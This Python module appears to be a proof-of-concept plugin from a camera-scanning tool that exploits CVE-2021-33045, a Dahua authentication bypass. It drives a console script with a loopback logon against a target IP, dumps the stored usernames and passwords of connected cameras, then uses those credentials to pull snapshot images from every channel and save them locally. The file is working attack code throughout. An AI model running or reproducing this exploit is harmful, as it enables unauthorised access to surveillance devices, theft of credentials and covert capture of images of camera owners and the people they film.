import os
import json
from requests.auth import HTTPDigestAuth

from loguru import logger

from .base import POCTemplate
from Ingram.utils import common


class CVE_2021_33045(POCTemplate):

    def __init__(self, config):
        super().__init__(config)
        self.name = self.get_file_name(__file__)
        self.product = config.product['dahua']
        self.product_version = ''
        self.ref = """
        https://www.dahuasecurity.com/support/cybersecurity/details/957
        https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-33044
        """
        self.level = POCTemplate.level.high
        self.desc = """
        The identity authentication bypass vulnerability found in some Dahua products
        during the login process. Attackers can bypass device identity authentication
        by constructing malicious data packets.
        """

    def verify(self, ip, port=80):
        console = 'Ingram/lib/DahuaConsole/Console.py'
        json_file = os.path.join(self.config.out_dir, f"{ip}-{port}-users.json")
        try:
            cmd = f"""
            (
                echo "config RemoteDevice save {json_file}"
                echo "quit all"
            ) | python -Bu {console} --logon loopback --rhost {ip} --rport {port} --proto dhip 2>/dev/null
            """
            code, msg = common.run_cmd(cmd)

            # success
            if os.path.exists(json_file):
                with open(json_file, 'r') as f:
                    data = json.load(f)
                devs = [i for i in data['params']['table'].values()]
                login_info = list(set([
                    (i['UserName'], i['Password']) for i in devs
                ]))
                # 子相机上有许多不同的密码，但是这些可能都和这台nvr的密码不一样
                return ip, str(port), self.product, *login_info[0], self.name, len(devs), login_info
        except Exception as e:
            logger.error(e)
        finally:
            if os.path.exists(json_file):
                os.remove(json_file)
        return None


    def exploit(self, results):
        ip, port, product, no_use_user, no_use_password, vul, channels, login_info = results
        res_list = []
        for user, password in login_info:
            for channel in range(1, channels + 1):
                url = f"http://{ip}:{port}/cgi-bin/snapshot.cgi?channel={channel}"
                img_file_name = f"{ip}-{port}-channel{channel}-{user}-{password}.jpg"
                res_list.append(
                    self._snapshot(url, img_file_name, HTTPDigestAuth(user, password))
                )
        return sum(res_list)


POCTemplate.register_poc(CVE_2021_33045)